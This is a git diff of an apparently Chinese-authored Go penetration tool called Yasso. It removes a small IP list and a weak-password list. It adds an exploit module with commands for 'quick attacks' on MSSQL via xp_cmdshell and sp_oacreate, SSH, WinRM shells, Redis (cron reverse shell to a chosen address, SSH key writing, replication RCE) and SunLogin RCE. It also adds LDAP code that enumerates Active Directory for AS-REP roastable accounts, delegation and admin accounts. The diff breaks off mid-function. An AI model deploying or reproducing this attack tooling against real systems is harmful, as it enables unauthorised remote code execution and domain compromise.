-honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= -honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= -rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/ips.txt b/ips.txt deleted file mode 100644 index 881c59d..0000000 --- a/ips.txt +++ /dev/null @@ -1,7 +0,0 @@ -192.168.248.1 -192.168.248.219 -192.168.248.212 -192.168.248.128 -127.0.0.1:445 -127.0.0.1:5985 - diff --git a/main.go b/main.go index ac4d2a7..e6e4288 100644 --- a/main.go +++ b/main.go @@ -1,12 +1,6 @@ package main -import ( - "Yasso/cmd" -) - -func init() { - cmd.CreateLogFile("Yasso.log") -} +import "Yasso/cmd" func main() { cmd.Execute() diff --git a/pass.txt b/pass.txt deleted file mode 100644 index 106214c..0000000 --- a/pass.txt +++ /dev/null @@ -1,4 +0,0 @@ -123456 -P@ssw0rd -930517 -kali diff --git a/pkg/exploit/config/config.go b/pkg/exploit/config/config.go new file mode 100644 index 0000000..6d32014 --- /dev/null +++ b/pkg/exploit/config/config.go @@ -0,0 +1,9 @@ +package config + +// Exploits exp结构体 +type Exploits struct { + Hostname string // 地址 + Port int // 端口 + User string // 连接用的用户名 + Pass string // 连接用的密码 +} diff --git a/pkg/exploit/config/tools.go b/pkg/exploit/config/tools.go new file mode 100644 index 0000000..72893e7 --- /dev/null +++ b/pkg/exploit/config/tools.go @@ -0,0 +1,56 @@ +package config + +import ( + "database/sql" +) + +type Results struct { + Columns []string + Rows [][]string +} + +func SQLExecute(db *sql.DB, q string) (*Results, error) { + if q == "" { + return nil, nil + } + rows, err := db.Query(q) + //rows, err := db.Query(q) + if err != nil { + return nil, err + } + columns, err := rows.Columns() + if err != nil { + return nil, err + } + + var results [][]string + for rows.Next() { + rs := make([]sql.NullString, len(columns)) + rsp := make([]interface{}, len(columns)) + for i := range rs { + rsp[i] = &rs[i] + } + if err = rows.Scan(rsp...); err != nil { + break + } + + _rs := make([]string, len(columns)) + for i := range rs { + _rs[i] = rs[i].String + } + results = append(results, _rs) + } + if closeErr := rows.Close(); closeErr != nil { + return nil, closeErr + } + if err != nil { + return nil, err + } + if err := rows.Err(); err != nil { + return nil, err + } + return &Results{ + Columns: columns, + Rows: results, + }, nil +} diff --git a/pkg/exploit/exploit.go b/pkg/exploit/exploit.go new file mode 100644 index 0000000..ccebf4c --- /dev/null +++ b/pkg/exploit/exploit.go @@ -0,0 +1,213 @@ +package exploit + +import ( + "Yasso/core/logger" + "Yasso/pkg/exploit/config" + "Yasso/pkg/exploit/ldap" + "Yasso/pkg/exploit/mssql" + "Yasso/pkg/exploit/redis" + "Yasso/pkg/exploit/ssh" + "Yasso/pkg/exploit/sunlogin" + "Yasso/pkg/exploit/winrm" + "github.com/spf13/cobra" +) + +type ExpFlags struct { + Hostname string + Port int + User string + Pass string + KeyFile string + Rebound string + Command string + Method int // 每一个Exp的子方法 + Listen string // 本地监听地址 + SoPath string // so文件路径 + Filter string // ldap的过滤器 + LdapCmd bool // ldap的查询命令显示 + LdapAll bool // 是否自动查询ldap + LdapName string // Ldap的name属性 +} + +var mssqlFlag ExpFlags +var MssqlCmd = &cobra.Command{ + Use: "mssql", + Short: "Quick attacks on MSSQL services", + Run: func(cmd *cobra.Command, args []string) { + if mssqlFlag.Hostname == "" { + _ = cmd.Help() + return + } + switch mssqlFlag.Method { + case 1: + mssql.ExploitMssql(config.Exploits{ + Hostname: mssqlFlag.Hostname, + Port: mssqlFlag.Port, + User: mssqlFlag.User, + Pass: mssqlFlag.Pass, + }, 1, mssqlFlag.Command) + case 2: + mssql.ExploitMssql(config.Exploits{ + Hostname: mssqlFlag.Hostname, + Port: mssqlFlag.Port, + User: mssqlFlag.User, + Pass: mssqlFlag.Pass, + }, 2, mssqlFlag.Command) + case 3: + mssql.ExploitMssql(config.Exploits{ + Hostname: mssqlFlag.Hostname, + Port: mssqlFlag.Port, + User: mssqlFlag.User, + Pass: mssqlFlag.Pass, + }, 3, mssqlFlag.Command) + case 4: + mssql.ExploitMssql(config.Exploits{ + Hostname: mssqlFlag.Hostname, + Port: mssqlFlag.Port, + User: mssqlFlag.User, + Pass: mssqlFlag.Pass, + }, 4, mssqlFlag.Command) + default: + logger.Fatal("not found exploit method") + return + } + }, +} + +var sshFlag ExpFlags +var SshCmd = &cobra.Command{ + Use: "ssh", + Short: "Quick attacks on SSH services", + Run: func(cmd *cobra.Command, args []string) { + if sshFlag.Hostname == "" { + _ = cmd.Help() + return + } + ssh.ExploitSSH(config.Exploits{ + Hostname: sshFlag.Hostname, + Port: sshFlag.Port, + User: sshFlag.User, + Pass: sshFlag.Pass, + }, sshFlag.KeyFile) + }, +} + +var winrmFlag ExpFlags +var WinRmCmd = &cobra.Command{ + Use: "winrm", + Short: "Quick attacks on WinRM services", + Run: func(cmd *cobra.Command, args []string) { + if winrmFlag.Hostname == "" { + _ = cmd.Help() + return + } + winrm.ExploitWinRM(config.Exploits{ + Hostname: winrmFlag.Hostname, + Port: winrmFlag.Port, + User: winrmFlag.User, + Pass: winrmFlag.Pass, + }, winrmFlag.Command, winrmFlag.Method) + }, +} + +var redisFlag ExpFlags +var RedisCmd = &cobra.Command{ + Use: "redis", + Short: "Quick attacks on Redis services", + Run: func(cmd *cobra.Command, args []string) { + if redisFlag.Hostname == "" { + _ = cmd.Help() + return + } + redis.ExploitRedis(config.Exploits{ + Hostname: redisFlag.Hostname, + Port: redisFlag.Port, + User: "", + Pass: redisFlag.Pass, + }, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "") + }, +} + +var sunLoginFlag ExpFlags +var SunLoginCmd = &cobra.Command{ + Use: "sunlogin", + Short: "Quick attacks on SunLogin services (RCE)", + Run: func(cmd *cobra.Command, args []string) { + if sunLoginFlag.Hostname == "" { + _ = cmd.Help() + return + } + if sunLoginFlag.Port == 0 { + logger.Fatal("input sunlogin port") + return + } else { + sunlogin.ExploitSunLogin(config.Exploits{ + Hostname: sunLoginFlag.Hostname, + Port: sunLoginFlag.Port, + User: "", + Pass: "", + }, sunLoginFlag.Command) + } + }, +} + +var LdapReaperFlag ExpFlags + +var LdapReaperCmd = &cobra.Command{ + Use: "ldap", + Short: "ldap single query with filter and fast automatic query", + Run: func(cmd *cobra.Command, args []string) { + if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" { + _ = cmd.Help() + return + } + if LdapReaperFlag.LdapCmd == true { + ldap.ListLdapCommand() + return + } else { + if LdapReaperFlag.Command != "" { + LdapReaperFlag.LdapAll = false + } + ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll) + } + }, +} + +func init() { + MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址") + MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令") + MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口") + MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名") + MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码") + MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]") + SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址") + SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥") + SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名") + SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码") + SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口") + RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址") + RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址") + RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径") + RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听") + RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码") + RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径") + RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口") + RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]") + WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机") + WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户") + WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码") + WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令") + WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口") + WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]") + SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址") + SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口") + SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看") + LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令") + LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)") + LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称") +} diff --git a/pkg/exploit/ldap/core/filter/filter.go b/pkg/exploit/ldap/core/filter/filter.go new file mode 100644 index 0000000..2888bd7 --- /dev/null +++ b/pkg/exploit/ldap/core/filter/filter.go @@ -0,0 +1,8 @@ +package filter + +import "strings" + +// LdapFilter ldap过滤器 +func LdapFilter(needle string, filterDN string) string { + return strings.Replace(filterDN, "{username}", needle, -1) +} diff --git a/pkg/exploit/ldap/core/query/flags.go b/pkg/exploit/ldap/core/query/flags.go new file mode 100644 index 0000000..c11be9c --- /dev/null +++ b/pkg/exploit/ldap/core/query/flags.go @@ -0,0 +1,69 @@ +package query + +var PwdFlags = map[int]string{ + 0x01: "PASSWORD_COMPLEX", + 0x02: "PASSWORD_NO_ANON_CHANGE", + 0x04: "PASSWORD_NO_CLEAR_CHANGE", + 0x08: "LOCKOUT_ADMINS", + 0x10: "PASSWORD_STORE_CLEARTEXT", + 0x20: "REFUSE_PASSWORD_CHANGE", +} + +var UacFlags = map[int]string{ + 0x00000002: "ACCOUNT_DISABLED", + 0x00000010: "ACCOUNT_LOCKED", + 0x00000020: "PASSWD_NOTREQD", + 0x00000040: "PASSWD_CANT_CHANGE", + 0x00000080: "PASSWORD_STORE_CLEARTEXT", + 0x00000200: "NORMAL_ACCOUNT", + 0x00001000: "WORKSTATION_ACCOUNT", + 0x00002000: "SERVER_TRUST_ACCOUNT", + 0x00010000: "DONT_EXPIRE_PASSWD", + 0x00040000: "SMARTCARD_REQUIRED", + 0x00080000: "TRUSTED_FOR_DELEGATION", + 0x00100000: "NOT_DELEGATED", + 0x00200000: "USE_DES_KEY_ONLY", + 0x00400000: "DONT_REQ_PREAUTH", + 0x00800000: "PASSWORD_EXPIRED", + 0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION", + 0x04000000: "PARTIAL_SECRETS_ACCOUNT", +} + +var SamType = map[int64]string{ + 0x0: "SAM_DOMAIN_OBJECT", + 0x10000000: "SAM_GROUP_OBJECT", + 0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT", + 0x20000000: "SAM_ALIAS_OBJECT", + 0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT", + 0x30000000: "SAM_USER_OBJECT", + 0x30000001: "SAM_MACHINE_ACCOUNT", + 0x30000002: "SAM_TRUST_ACCOUNT", + 0x40000000: "SAM_APP_BASIC_GROUP", + 0x40000001: "SAM_APP_QUERY_GROUP", + 0x7fffffff: "SAM_ACCOUNT_TYPE_MAX", +} + +var Trust = map[int]string{ + 0x00000001: "NON_TRANSITIVE", + 0x00000002: "UPLEVEL_ONLY", + 0x00000004: "QUARANTINED_DOMAIN", + 0x00000008: "FOREST_TRANSITIVE", + 0x00000010: "CROSS_ORGANIZATION", + 0x00000020: "WITHIN_FOREST", + 0x00000040: "TREAT_AS_EXTERNAL", + 0x00000080: "USES_RC4_ENCRYPTION", + 0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION", + 0x00000400: "PIM_TRUST", + 0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION", +} +var TrustDirections = map[int]string{ + 0x01: "INBOUND", + 0x02: "OUTBOUND", + 0x03: "BIDIRECTIONAL", +} + +var TrustType = map[int]string{ + 0x01: "DOWNLEVEL", + 0x02: "UPLEVEL", + 0x03: "MIT", +} diff --git a/pkg/exploit/ldap/core/query/object.go b/pkg/exploit/ldap/core/query/object.go new file mode 100644 index 0000000..fc31ab7 --- /dev/null +++ b/pkg/exploit/ldap/core/query/object.go @@ -0,0 +1,60 @@ +package query + +// LdapQueries ldap的查询字符串 +var LdapQueries = map[string]string{ + "users": "(objectClass=user)", + "groups": "(objectClass=group)", + "computers": "(objectClass=Computer)", + "dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", + "gpo": "(objectClass=groupPolicyContainer)", + "spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", + "unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))", + "unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", + "ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))", + "never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))", + "admin-priv": "(adminCount=1)", + "domain-trust": "(objectClass=trustedDomain)", + "ou": "(&(objectCategory=organizationalUnit)(ou=*))", + "group-members": "(&(objectCategory=user)(memberOf={DN}))", + "specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))", + "specific-computers": "(&(objectClass=Computer)(cn={SAM}))", + "specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))", + "specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", + "specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))", + "asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))", + "unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))", +} + +var ldapCommands = map[string]string{ + "users": "Users", + "user-logs": "User Properties", + "groups": "Groups", + "computers": "Computers", + "dc": "Domain Controllers", + "gpo": "Group Policy Objects", + "spn": "Service Principal Names", + "never-loggedon": "Users Never LoggedOn", + "ms-sql": "MS-SQL Servers", + "admin-priv": "Admin Priv", + "domain-trust": "Trusted Domain", + "ou": "Organizational Units", + "asreproast": "AS-REP Roastable Accounts", + "unconstrained": "Unconstrained Delegation", +} + +var LdapCommandAndFilter = map[string]string{ + "users": "full-data", + "user-logs": "", + "groups": "full-data", + "computers": "full-data", + "dc": "", + "gpo": "", + "spn": "", + "never-loggedon": "", + "ms-sql": "full-data", + "admin-priv": "", + "domain-trust": "", + "ou": "", + "asreproast": "", + "unconstrained": "", +} diff --git a/pkg/exploit/ldap/core/query/query.go b/pkg/exploit/ldap/core/query/query.go new file mode 100644 index 0000000..bbc91d7 --- /dev/null +++ b/pkg/exploit/ldap/core/query/query.go @@ -0,0 +1,197 @@ +package query + +import ( + "Yasso/core/logger" + "github.com/jedib0t/go-pretty/v6/table" + "gopkg.in/ldap.v2" + "os" +) + +type Server struct { + LdapServer string // dc地址 + LdapUser string // 用户名(域用户即可) + LdapPassword string // 密码 +} + +// ldap的连接函数 +func (s *Server) ldapConn() (*ldap.Conn, bool, error) { + conn, err := ldap.Dial("tcp", s.LdapServer) + if err != nil { + return nil, false, err + } + if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil { + return nil, false, err + } + return conn, true, nil +} + +func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) { + server := Server{ + LdapServer: dc, + LdapPassword: pass, + LdapUser: user, + } + conn, flag, err := server.ldapConn() + defer conn.Close() + if flag == false || err != nil { + logger.Fatal("ldap server connect failed") + return + } + if all == true { + // 查询全部ldap并采用full-data过滤器 + for i, f := range LdapCommandAndFilter { + err := LdapQuery(conn, baseDN, i, f, name) + if err != nil { + logger.Fatal(err.Error()) + return + } + } + } else { + err := LdapQuery(conn, baseDN, command, filter, name) + if err != nil { + logger.Fatal(err.Error()) + return + } + } +} + +// LdapQuery 传入baseDN, +func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error { + t := table.NewWriter() + t.SetOutputMirror(os.Stdout) + t.AppendHeader(table.Row{ldapCommands[command]}) + t.SetColumnConfigs([]table.ColumnConfig{ + { + Name: ldapCommands[command], + WidthMin: 20, + WidthMax: 100, + }, + }) + if command == "users" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "users" && filter == "full-data" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "users" && name != "" && filter != "membership" { + if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "users" && name != "" && filter == "membership" { + if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "computers" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "computers" && filter == "full-data" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "computers" && name != "" { + if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "groups" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "groups" && filter == "full-data" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "groups" && name != "" && filter != "membership" { + if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "groups" && filter == "membership" && name != "" { + if err := LdapGroupResolver(t, conn, baseDN, name); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "dc" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "domain-trust" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "spn" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "spn" && filter == "full-data" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "spn" && name != "" { + if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "never-loggedon" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "gpo" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "ou" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "ms-sql" && filter == "list" && name == "" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "ms-sql" && filter == "full-data" && name == "" { + if err := LdapFullResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "ms-sql" && name != "" { + if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "asreproast" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "unconstrained" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + if command == "admin-priv" { + if err := LdapListResolver(t, conn, baseDN, command); err != nil { + logger.Fatal(err.Error()) + } + } + t.Render() + return nil +} diff --git a/pkg/exploit/ldap/core/query/resolver.go b/pkg/exploit/ldap/core/query/resolver.go new file mode 100644 index 0000000..37d1770 --- /dev/null +++ b/pkg/exploit/ldap/core/query/resolver.go @@ -0,0 +1,433 @@ +package query + +import ( + "Yasso/pkg/exploit/ldap/core/filter" + "encoding/binary" + "fmt" + "github.com/audibleblink/bamflags" + "github.com/bwmarrin/go-objectsid" + "github.com/jedib0t/go-pretty/v6/table" + "gopkg.in/ldap.v2" + "math" + "strconv" + "strings" +) + +// LdapListResolver ldap查询解析器 +func LdapListResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error { + res, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", LdapQueries[command]), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + return err + } + // 查询到数据 + if len(res.Entries) > 0 { + for _, m := range res.Entries { + t.AppendRows([]table.Row{ + {fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))}, + }) + } + t.AppendSeparator() + if command == "users" { + t.AppendRows([]table.Row{ + {strconv.Itoa(len(res.Entries)) + "Domain Users Found"}, + }) + } + if command == "computers" { + t.AppendRows([]table.Row{ + {strconv.Itoa(len(res.Entries)) + " Domain Computers Found"}, + }) + } + if command == "groups" { + t.AppendRows([]table.Row{ + {strconv.Itoa(len(res.Entries)) + " Domain Groups Found"}, + }) + } + } + return nil +} + +// LdapFullResolver ldap的完全解析器 +func LdapFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error { + res, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", LdapQueries[command]), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + return nil + } + // 查询到数据 + if len(res.Entries) > 0 { + for _, m := range res.Entries { + LdapResolver(m, t) + t.AppendSeparator() + } + } + return nil +} + +// LdapSpecificFullResolver ldap的特殊解析器 +func LdapSpecificFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error { + res, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + return err + } + if len(res.Entries) > 0 { + for _, m := range res.Entries { + LdapResolver(m, t) + t.AppendSeparator() + } + } + return nil +} + +func LdapUserMemberShipResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error { + res, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + return err + } + if len(res.Entries) > 0 { + for _, m := range res.Entries { + if len(m.GetAttributeValue("memberOf")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Member of: \n\t%s", strings.Join(m.GetAttributeValues("memberOf"), "\n\t"))}, + }) + } + } + } + return nil +} + +func LdapGroupDN(conn *ldap.Conn, baseDN string, name string) string { + res, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["specific-groups"], "{SAM}", name)), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + fmt.Println(err) + } + if len(res.Entries) > 0 { + for _, m := range res.Entries { + return m.DN + } + } + return "" +} + +func LdapGroupResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string) error { + result, err := conn.SearchWithPaging(ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + math.MaxInt32, + 0, + false, + filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["group-members"], "{DN}", LdapGroupDN(conn, baseDN, name))), + []string{}, + nil, + ), math.MaxInt32) + if err != nil { + fmt.Println(err) + } + if len(result.Entries) > 0 { + t.AppendRows([]table.Row{ + {"Domain users in group: "}, + }) + for _, m := range result.Entries { + t.AppendRows([]table.Row{ + {fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))}, + }) + + } + } + return nil +} +func LdapParse(attr int64, Map map[int]string) []string { + values, err := bamflags.ParseInt(attr) + if err != nil { + return []string{} + } + var all []string + for _, value := range values { + if propName := Map[value]; propName != "" { + all = append(all, propName) + } + } + return all +} + +func LdapGUID(b []byte) (string, error) { + if len(b) != 16 { + return "", fmt.Errorf("guid must be 16 bytes") + } + return fmt.Sprintf( + "%08x-%04x-%04x-%04x-%012x", + binary.LittleEndian.Uint32(b[:4]), + binary.LittleEndian.Uint16(b[4:6]), + binary.LittleEndian.Uint16(b[6:8]), + b[8:10], + b[10:]), nil +} + +func LdapSID(b []byte) (string, error) { + if len(b) < 12 { + return "", fmt.Errorf("[+]Invalid Windows SID") + } + sid := objectsid.Decode(b) + return sid.String(), nil +} + +// LdapResolver ldap的解析器 +func LdapResolver(entry *ldap.Entry, t table.Writer) { + // DN + if len(entry.DN) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("DN: %s", entry.DN)}, + }) + } + // 用户名 + if len(entry.GetAttributeValue("sAMAccountName")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("SAM Account Name: %s", entry.GetAttributeValue("sAMAccountName"))}, + }) + } + // 用户名类型 + if len(entry.GetAttributeValue("sAMAccountType")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("SAM Account Type: %s", entry.GetAttributeValue("sAMAccountType"))}, + }) + } + // Mail + if len(entry.GetAttributeValue("mail")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Mail ID: %s", entry.GetAttributeValue("mail"))}, + }) + } + // UID + if len(entry.GetAttributeValue("uid")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("UID: %s", entry.GetAttributeValue("uid"))}, + }) + } + // OU + if len(entry.GetAttributeValue("ou")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("OU: %s", entry.GetAttributeValue("ou"))}, + }) + } + // CN + if len(entry.GetAttributeValue("cn")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("CN: %s", entry.GetAttributeValue("cn"))}, + }) + } + if len(entry.GetAttributeValue("givenName")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("Given Name: %s", entry.GetAttributeValue("givenName"))}, + }) + } + if len(entry.GetAttributeValue("sn")) > 0 { + t.AppendRows([]table.Row{ + {fmt.Sprintf("SN: %s", entry.GetAttributeValue("sn"))}, + }) + } + if len(entry.GetAttributeValue("description")) > 0 { + 